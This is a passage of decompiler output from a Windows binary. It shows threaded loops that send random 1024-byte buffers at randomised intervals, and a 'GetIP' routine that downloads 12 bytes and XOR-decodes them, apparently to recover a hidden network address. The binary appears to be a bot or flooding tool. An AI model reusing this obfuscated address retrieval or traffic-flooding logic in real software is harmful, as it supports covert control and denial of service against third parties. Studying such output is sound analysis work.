- // break -> 0x40236b
- break;
- }
- // continue -> 0x402348
- continue;
- }
- lab_0x40260f:
- // 0x40260f
- g4 = v25;
- function_402756();
- g4 = g5;
- function_402d95();
- *(int32_t *)(g8 - 4) = (int32_t)&g9;
- __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 8));
- // branch -> 0x40265a
- lab_0x40265a:
- // 0x40265a
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- // branch -> 0x402191
- goto lab_0x402191;
- }
- int32_t v28 = g2; // 0x40236b
- g5 = *(int32_t *)(v28 + 8);
- *(int32_t *)(v28 - 16) = 0;
- if (*(char *)(g5 + 4) == 0) {
- while (true) {
- int32_t v29 = rand(); // 0x40237c
- int64_t v30 = 0x100000000 * (int64_t)(v29 >> 31) | (int64_t)v29; // 0x402388
- int32_t * v31 = (int32_t *)(g8 - 4); // 0x402390
- *v31 = (int32_t)(v30 % 0x2711) + 1000;
- Sleep((int32_t)str);
- if (g37 == 1) {
- // 0x40237c
- // branch -> 0x4024c1
- } else {
- // 0x4023a4
- if (*(int32_t *)(g2 - 16) == 30) {
- // 0x40266e
- g38 = 0;
- g37 = 0;
- v25 = g5;
- // branch -> 0x40260f
- goto lab_0x40260f;
- } else {
- // 0x4023ae
- *v31 = g7;
- g5 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = g7;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g5;
- memset((int32_t *)str, v1, n);
- *(int32_t *)(g8 - 4) = (int32_t)&g23;
- *(int32_t *)(g8 - 8) = g5;
- strcpy(str, str2);
- v6 = (int32_t)g34;
- if (g34 == NULL) {
- // 0x4023d6
- v6 = *(int32_t *)0x4060a8;
- // branch -> 0x4023db
- }
- // 0x4023db
- *(int32_t *)(g8 + 20) = 64;
- *(int32_t *)(g8 + 16) = v6;
- *(int32_t *)(g8 + 12) = g5 + 2;
- strncpy(str, str2, n);
- *(int32_t *)(g5 + 228) = 240;
- *(int32_t *)(g8 - 4) = 240;
- *(int32_t *)(g8 - 8) = (int32_t)&g39;
- *(int32_t *)(g8 - 12) = g5 + 232;
- memcpy((int32_t *)str, v2, n);
- int32_t v32 = g2; // 0x402405
- *(char *)(v32 - 72) = *(char *)(v32 + 11);
- *(int32_t *)(g8 - 4) = 0;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = g3;
- *(int32_t *)g8 = strlen(str);
- *(int32_t *)(g8 - 4) = g3;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)str, v1);
- *(char *)(g2 - 4) = 1;
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = (int32_t)&g33;
- int32_t v33 = _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(); // 0x402440
- int32_t v34 = g8; // 0x402461
- if (g38 == 1) {
- // 0x40244f
- *(int32_t *)(g8 - 4) = (int32_t)&g30;
- *(int32_t *)(g8 - 8) = g7;
- *(int32_t *)(g8 - 12) = g5;
- v34 = g8 + 12;
- v33 = function_4018b0();
- // branch -> 0x40245e
- }
- int32_t v35 = g2; // 0x40245e
- int32_t v36 = v34 - 16; // 0x402461
- v21 = v36;
- *(int32_t *)(v35 - 20) = v36;
- *(int32_t *)(g8 - 4) = 0;
- *(int32_t *)(g2 - 20) = v21;
- int32_t v37 = (int32_t)*(char *)(v35 - 72) | v33 & -256; // 0x40246e
- *(char *)v21 = (char)v37;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g2 - 72;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)str, v1, n);
- *(int32_t *)(g8 - 4) = g7;
- *(int32_t *)(g8 - 8) = g5;
- int32_t v38 = *(int32_t *)(*(int32_t *)(g2 + 8) + 20); // 0x402491
- *(int32_t *)(g8 - 12) = 0x402499;
- __pseudo_call(*(int32_t *)(*(int32_t *)v38 + 20));
- *(int32_t *)(g8 - 4) = g5;
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)str);
- *(char *)(g2 - 4) = 0;
- *(int32_t *)g8 = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- int32_t v39 = g2; // 0x4024af
- int32_t * v40 = (int32_t *)(v39 - 16); // 0x4024b2
- *v40 = *v40 + 1;
- int32_t v41 = *(int32_t *)(v39 + 8); // 0x4024b5
- g5 = v41;
- if (*(char *)(v41 + 4) != 0) {
- // break -> 0x4024c1
- break;
- }
- // continue -> 0x40237c
- continue;
- }
- }
- // 0x4024c1
- if (*(char *)(g5 + 4) != 0) {
- // 0x40267e
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- // branch -> 0x40268d
- // 0x40268d
- abort();
- // UNREACHABLE
- }
- while (true) {
- // 0x4024cb
- *(int32_t *)(g8 - 4) = g7;
- int32_t v42 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)str); // 0x4024cc
- *(int32_t *)(g8 - 4) = g7;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = v42;
- *(int32_t *)(g2 - 16) = v42;
- memset((int32_t *)str, v1, n);
- *(int32_t *)(g8 - 4) = (int32_t)&g25;
- *(int32_t *)(g8 - 8) = *(int32_t *)(g2 - 16);
- strcpy(str, str2);
- v6 = (int32_t)g34;
- if (g34 == NULL) {
- // 0x4024f6
- v6 = *(int32_t *)0x4060a8;
- // branch -> 0x4024fb
- }
- // 0x4024fb
- *(int32_t *)(g8 + 20) = 64;
- *(int32_t *)(g8 + 16) = v6;
- *(int32_t *)(g8 + 12) = *(int32_t *)(g2 - 16) + 2;
- strncpy(str, str2, n);
- int32_t v43 = g2; // 0x40250b
- *(char *)(v43 - 56) = *(char *)(v43 + 11);
- *(int32_t *)(g8 - 4) = 0;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = g3;
- *(int32_t *)g8 = strlen(str);
- *(int32_t *)(g8 - 4) = g3;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)str, v1);
- *(char *)(g2 - 4) = 2;
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = (int32_t)&g33;
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z();
- *(int32_t *)(g2 - 20) = 0;
- v6 = rand();
- int32_t v44 = g2; // 0x402556
- int32_t * v45 = (int32_t *)(v44 - 20); // 0x402556
- v21 = *(int32_t *)(v44 - 16);
- *v45 = *v45 + 1;
- int32_t v46 = *v45; // 0x402566
- *(char *)(v21 + 232 + v46) = (char)v6;
- // branch -> 0x402550
- while (*(int32_t *)(g2 - 20) < 1024) {
- // 0x402550
- v6 = rand();
- v44 = g2;
- v45 = (int32_t *)(v44 - 20);
- v21 = *(int32_t *)(v44 - 16);
- *v45 = *v45 + 1;
- v46 = *v45;
- *(char *)(v21 + 232 + v46) = (char)v6;
- // continue -> 0x402550
- }
- // 0x40256f
- int32_t v47; // 0x40258a
- int32_t v48; // 0x402587
- if (g38 != 1) {
- // 0x40256f
- v47 = g8;
- v48 = v6;
- // branch -> 0x402587
- } else {
- // 0x402578
- *(int32_t *)(g8 - 4) = (int32_t)&g30;
- *(int32_t *)(g8 - 8) = g7;
- *(int32_t *)(g8 - 12) = v21;
- v47 = g8 + 12;
- v48 = function_4018b0();
- // branch -> 0x402587
- }
- int32_t v49 = g2; // 0x402587
- int32_t v50 = v47 - 16; // 0x40258a
- v21 = v50;
- *(int32_t *)(v49 - 20) = v50;
- *(int32_t *)(g8 - 4) = 0;
- *(int32_t *)(g2 - 20) = v21;
- int32_t v51 = (int32_t)*(char *)(v49 - 56) | v48 & -256; // 0x402597
- *(char *)v21 = (char)v51;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = 0;
- *(int32_t *)(g8 - 12) = g2 - 56;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)str, v1, n);
- *(int32_t *)(g8 - 4) = g7;
- *(int32_t *)(g8 - 8) = *(int32_t *)(g2 - 16);
- *(int32_t *)(g8 - 12) = 0x4025c1;
- __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 20));
- *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 16);
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)str);
- int32_t v52 = rand(); // 0x4025ca
- int64_t v53 = 0x100000000 * (int64_t)(v52 >> 31) | (int64_t)v52; // 0x4025d6
- int32_t * v54 = (int32_t *)(g8 - 4); // 0x4025de
- *v54 = (int32_t)(v53 % 0x2710) + 0x3a98;
- Sleep((int32_t)str);
- v6 = *(int32_t *)*(int32_t *)(g5 + 20);
- *v54 = 0x4025ed;
- __pseudo_call(*(int32_t *)(v6 + 12));
- if ((char)v6 == 0) {
- // 0x402627
- g38 = 0;
- g37 = 0;
- g4 = g5;
- function_402756();
- g4 = g5;
- function_402d95();
- *(int32_t *)(g8 - 4) = 0x40264b;
- __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 8));
- *(char *)(g2 - 4) = 0;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- // branch -> 0x40265a
- goto lab_0x40265a;
- } else {
- // 0x4025f1
- *(char *)(g2 - 4) = 0;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- if (*(char *)(g5 + 4) != 0) {
- // break -> 0x40267e
- break;
- }
- // continue -> 0x4024cb
- continue;
- }
- }
- // 0x40267e
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- // branch -> 0x40268d
- // 0x40268d
- abort();
- // UNREACHABLE
- }
- }
- // 0x40267e
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g8 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
- // branch -> 0x40268d
- // 0x40268d
- abort();
- // UNREACHABLE
- }
- }
- }
- // Address range: 0x4026a0 - 0x4026ad
- int32_t function_4026a0(void) {
- int32_t v1 = *(int32_t *)(g4 + 20); // 0x4026a0
- g4 = v1;
- int32_t v2 = *(int32_t *)v1; // 0x4026a3
- __pseudo_call(*(int32_t *)(v2 + 4));
- return (int32_t)((char)v2 != 0) | v2 & -256;
- }
- // Address range: 0x4026ae - 0x4026d9
- int32_t function_4026ae(void) {
- // 0x4026ae
- int32_t result; // 0x4026d1
- if (*(char *)(g4 + 4) == 0) {
- // 0x4026b7
- TerminateThread((int32_t *)*(int32_t *)(g4 + 8), 0);
- TerminateThread((int32_t *)*(int32_t *)(g4 + 12), 0);
- result = TerminateThread((int32_t *)*(int32_t *)(g4 + 16), 0);
- *(char *)(g4 + 4) = 1;
- // branch -> 0x4026d8
- }
- // 0x4026d8
- return result;
- }
- // Address range: 0x4026da - 0x4026e3
- int32_t function_4026da(int32_t result) {
- // 0x4026da
- *(int32_t *)(g4 + 20) = result;
- return result;
- }
- // Address range: 0x4026e4 - 0x402718
- int32_t function_4026e4(int32_t a1) {
- int32_t v1 = g4; // bp-8
- g7 = g4;
- int32_t lpCriticalSection = g4 + 36; // 0x4026ec
- g5 = lpCriticalSection;
- EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
- g4 = g7 + 24;
- int32_t v2;
- function_403ab9(&v1, *(int32_t *)(g7 + 28), (int32_t)&v2);
- LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)g5);
- int32_t * v3;
- return (int32_t)&v3 & -256 | 1;
- }
- // Address range: 0x402719 - 0x402755
- int32_t function_402719(void) {
- int32_t v1 = g7; // 0x40271a
- int32_t v2 = g4; // 0x40271b
- g7 = v2;
- int32_t lpCriticalSection = v2 + 36; // 0x40271e
- EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
- int32_t v3 = 0; // ebx
- int32_t v4 = g7; // 0x40272a
- if (*(int32_t *)(v4 + 32) != 0) {
- int32_t v5 = *(int32_t *)(*(int32_t *)*(int32_t *)(v4 + 28) + 8); // 0x402738
- int32_t v6;
- *(int32_t *)v6 = v5;
- g4 = g7 + 24;
- function_403a96();
- v3 = v3 & -256 | 1;
- // branch -> 0x402747
- }
- // 0x402747
- LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
- g7 = v1;
- int32_t * v7;
- return v3 & 255 | (int32_t)&v7 & -256;
- }
- // Address range: 0x402756 - 0x402795
- int32_t function_402756(void) {
- int32_t v1 = g7; // 0x402756
- int32_t v2 = g4; // 0x402757
- g7 = v2;
- int32_t v3 = g5; // 0x402759
- int32_t lpCriticalSection = v2 + 36; // 0x40275a
- EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
- int32_t v4 = g7; // 0x402764
- int32_t * v5;
- if (*(int32_t *)(v4 + 32) == 0) {
- // 0x40278a
- LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
- g5 = v3;
- g7 = v1;
- return (int32_t)&v5 & -256 | 1;
- }
- int32_t v6 = *(int32_t *)(*(int32_t *)*(int32_t *)(v4 + 28) + 8); // 0x402773
- __3f__3f_3_40_YAXPAX_40_Z(v6);
- g4 = v4 + 24;
- function_403a96();
- // branch -> 0x40276e
- while (*(int32_t *)(g7 + 32) != 0) {
- // 0x40276e
- v6 = *(int32_t *)(*(int32_t *)*(int32_t *)(g7 + 28) + 8);
- __3f__3f_3_40_YAXPAX_40_Z(v6);
- g4 = v4 + 24;
- function_403a96();
- // continue -> 0x40276e
- }
- // 0x402789
- g3 = (int32_t)(struct _RTL_CRITICAL_SECTION *)g3;
- // branch -> 0x40278a
- // 0x40278a
- LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
- g5 = v3;
- g7 = v1;
- return (int32_t)&v5 & -256 | 1;
- }
- // Address range: 0x402796 - 0x40283b
- int32_t function_402796(int32_t a1, char * a2) {
- char * v1 = a2;
- int32_t v2 = (int32_t)a2; // esi
- int32_t v3 = 0; // edi
- int32_t result; // 0x402839
- if (a2 != NULL) {
- int32_t * v4 = InternetOpenA("GetIP", 0, NULL, NULL, 0); // 0x4027ba
- int32_t v5 = 0;
- if ((int32_t)v4 != v3) {
- int32_t * v6 = InternetOpenUrlA(v4, (char *)a1, (char *)v3, v3, -0x7c000000, v3); // 0x4027d3
- int32_t v7 = (int32_t)v6; // 0x4027d3
- int32_t v8;
- if (v7 == v3) {
- // 0x40281a
- GetLastError();
- v8 = 0;
- // branch -> 0x402820
- } else {
- // 0x4027df
- v1 = (char *)v3;
- bool v9 = InternetReadFile(v6, (int32_t *)v2, 12, (int32_t *)&v1); // 0x4027ea
- if (v9) {
- // 0x4027f4
- if (v1 == (char *)12) {
- int16_t * v10 = (int16_t *)(v2 + 4); // 0x4027fa
- *v10 = *v10 ^ 0x4580;
- int32_t * v11 = (int32_t *)v2; // 0x402805
- *v11 = *v11 ^ 0x59274580;
- int32_t * v12 = (int32_t *)(v2 + 8); // 0x402807
- *v12 = 0x59274580 ^ *v12;
- v8 = *(int32_t *)(v2 + 8) == -1;
- // branch -> 0x402820
- } else {
- v8 = 0;
- }
- } else {
- v8 = 0;
- }
- }
- // 0x402820
- InternetCloseHandle(v4);
- if (v7 != v3) {
- // 0x40282f
- InternetCloseHandle((int32_t *)v7);
- v5 = v8;
- // branch -> 0x402832
- } else {
- v5 = v8;
- }
- }
- // 0x402832
- result = v5;
- // branch -> 0x402836
- } else {
- // 0x4027a6
- result = 0;
- // branch -> 0x402836
- }
- // 0x402836
- return result;
- }
- // Address range: 0x40283c - 0x4028f9
- int32_t function_40283c(int32_t a1, int32_t a2) {
- // 0x40283c
- function_404b60();
- int32_t CodePage = 0; // ebx
- int16_t * lpWideCharStr = NULL; // bp-44
- char * lpMultiByteStr = (char *)*(int32_t *)(g2 + 12); // bp-52
- *(int32_t *)(g2 - 20) = 0;
- int32_t cchWideChar = MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr, -1, lpWideCharStr, 0); // 0x402860
- int32_t v1 = __3f__3f_2_40_YAPAXI_40_Z(2 * cchWideChar); // 0x402868
- *(int32_t *)(g2 - 16) = v1;
- int16_t * lpWideCharStr2 = (int16_t *)v1; // 0x402872
- lpWideCharStr = lpWideCharStr2;
- char * lpMultiByteStr2 = (char *)*(int32_t *)(g2 + 12); // 0x402875
- MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr2, -1, lpWideCharStr2, cchWideChar);
- *(char *)(g2 - 36) = *(char *)(g2 + 15);
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(CodePage);
- int16_t * wstr = (int16_t *)*(int32_t *)(g2 - 16); // 0x40288c
- lpWideCharStr = wstr;
- int32_t v2 = wcslen(wstr); // 0x40288f
- *(int32_t *)&lpWideCharStr = v2;
- int32_t v3 = *(int32_t *)(g2 - 16); // 0x40289a
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_PBGI_40_Z(v3, v2);
- int32_t v4 = 1; // esi
- *(int32_t *)(g2 - 4) = 1;
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)(char *)*(int32_t *)(g2 - 16));
- *(char *)*(int32_t *)(g2 + 8) = *(char *)(g2 - 36);
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)(char *)CodePage);
- int32_t v5 = g2 - 36; // 0x4028cc
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, CodePage, 0x7164);
- *(int32_t *)(g2 - 20) = v4;
- *(char *)(g2 - 4) = (char)CodePage;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v4);
- g5 = v4;
- g7 = v5;
- g3 = CodePage;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4028fa - 0x402ad5
- int32_t function_4028fa(int32_t a1, int32_t a2) {
- int32_t v1 = function_404b60(); // 0x4028ff
- int32_t v2 = g2; // 0x402907
- unsigned char v3 = *(char *)(v2 + 11); // 0x402907
- *(int32_t *)(v2 - 24) = g4;
- g3 = 0;
- *(char *)(g2 - 52) = (char)((int32_t)v3 | v1 & -256);
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- int32_t v4 = g2; // 0x402920
- int32_t v5 = g3; // 0x402923
- *(int32_t *)(v4 - 4) = v5;
- memset((int32_t *)(v4 - 36), v5, 12);
- int32_t v6 = g2; // 0x40292d
- int32_t v7 = *(int32_t *)(v6 + 8); // 0x402937
- int32_t v8 = function_402796(v7, (char *)(v6 - 36)); // 0x40293a
- if (v8 == g3 || v8 == GetLastError()) {
- // 0x402ab5
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g7 = 1;
- g3 = v7;
- abort();
- // UNREACHABLE
- }
- // 0x402957
- memcpy((int32_t *)(g2 - 20), (int32_t *)(g2 - 36), 4);
- memset((int32_t *)(g2 - 16), g3, 4);
- _itoa((int32_t)*(char *)(g2 - 17), (char *)(g2 - 16), 10);
- int32_t len = strlen((char *)(g2 - 16)); // 0x40298a
- int32_t v9 = g2 - 16; // 0x402996
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v9, len);
- int32_t str = (int32_t)&g26; // esi
- int32_t len2 = strlen(g26); // 0x4029a6
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)&g26, len2);
- memset((int32_t *)(g2 - 16), g3, 4);
- _itoa((int32_t)*(char *)(g2 - 18), (char *)(g2 - 16), 10);
- int32_t len3 = strlen((char *)(g2 - 16)); // 0x4029d4
- int32_t v10 = g2 - 16; // 0x4029e0
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v10, len3);
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(str, strlen((char *)str));
- memset((int32_t *)(g2 - 16), g3, 4);
- _itoa((int32_t)*(char *)(g2 - 19), (char *)(g2 - 16), 10);
- int32_t len4 = strlen((char *)(g2 - 16)); // 0x402a19
- int32_t v11 = g2 - 16; // 0x402a22
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v11, len4);
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(str, strlen((char *)str));
- memset((int32_t *)(g2 - 16), g3, 4);
- _itoa((int32_t)*(char *)(g2 - 20), (char *)(g2 - 16), 10);
- int32_t len5 = strlen((char *)(g2 - 16)); // 0x402a5e
- int32_t v12 = g2 - 16; // 0x402a6a
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v12, len5);
- int32_t v13 = *(int32_t *)(g2 - 48); // 0x402a74
- int32_t v14; // 0x402a84
- if (v13 == g3) {
- // 0x402a7c
- v14 = *(int32_t *)0x4060a8;
- // branch -> 0x402a81
- } else {
- v14 = v13;
- }
- int32_t v15 = function_40283c(g2 - 68, v14); // 0x402a89
- *(char *)(g2 - 4) = 1;
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v15, g3, 0x7164);
- *(char *)(g2 - 4) = (char)g3;
- int32_t v16 = (int32_t)(char *)1; // 0x402aaa
- g3 = v16;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v16);
- // branch -> 0x402ab5
- // 0x402ab5
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g7 = 1;
- g3 = v7;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x402ad6 - 0x402b57
- int32_t function_402ad6(int32_t a1, int32_t a2) {
- struct in_addr in; // 0x402afa
- // 0x402ad6
- function_404b60();
- struct hostent * v1 = gethostbyname((char *)*(int32_t *)(g2 + 8)); // 0x402ae9
- int32_t v2;
- if (v1 == NULL) {
- // branch -> 0x402b49
- } else {
- int32_t v3 = *(int32_t *)((int32_t)v1 + 12); // 0x402af3
- in = (struct in_addr){
- .e0 = 0
- };
- in.e0 = *(int32_t *)*(int32_t *)v3;
- char * str = inet_ntoa(in); // 0x402afa
- strcpy((char *)(g2 - 28), str);
- int32_t v4 = function_40283c(g2 - 44, g2 - 28); // 0x402b16
- *(int32_t *)(g2 - 4) = 0;
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v4, 0, 0x7164);
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- v2 = 1;
- // branch -> 0x402b49
- }
- // 0x402b49
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x402b58 - 0x402c51
- int32_t function_402b58(int32_t a1) {
- // 0x402b58
- function_404b60();
- int32_t v1 = g4; // 0x402b67
- g7 = v1;
- int32_t v2 = g5; // 0x402b69
- g5 = 0;
- int32_t v3 = v1 + 0x9ea4; // 0x402b6e
- g3 = v3;
- *(int32_t *)(g2 - 16) = (int32_t)(v3 != 0);
- // branch -> 0x402b7c
- while (true) {
- int32_t v4 = g2; // 0x402b7c
- int32_t v5 = g7; // 0x402b81
- int32_t v6 = *(int32_t *)(v5 + 0xa1b0); // 0x402b81
- int32_t v7 = g5; // 0x402b81
- int32_t v8;
- if (((int32_t)(v6 != v7) & *(int32_t *)(v4 - 16)) != 0) {
- int32_t v9 = function_40283c(v4 - 32, g3); // 0x402bf8
- *(int32_t *)(g2 - 4) = g5;
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v9, g5, 0x7164);
- *(int32_t *)(g2 - 4) = -1;
- int32_t v10 = _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1); // 0x402c1c
- int32_t v11 = (int32_t)*(int16_t *)(g7 + 0xa1b0) | v10 & -0x10000; // 0x402c22
- // branch -> 0x402c3b
- // 0x402c3b
- g5 = 0;
- g7 = v8;
- g3 = v2;
- *(int16_t *)*(int32_t *)(g2 + 12) = (int16_t)v11;
- abort();
- // UNREACHABLE
- }
- int32_t v12 = v5 + 0x9fa8; // 0x402b96
- int32_t v13 = v8;
- int32_t v14 = v7; // 0x402bcc
- int32_t v15 = v5; // 0x402bd8
- int32_t v16; // 0x402bc1
- if (!((v12 == v7 | *(int32_t *)(v5 + 0xa1b4) == v7))) {
- int32_t v17 = *(int32_t *)(v4 + 8); // 0x402baa
- g4 = v5;
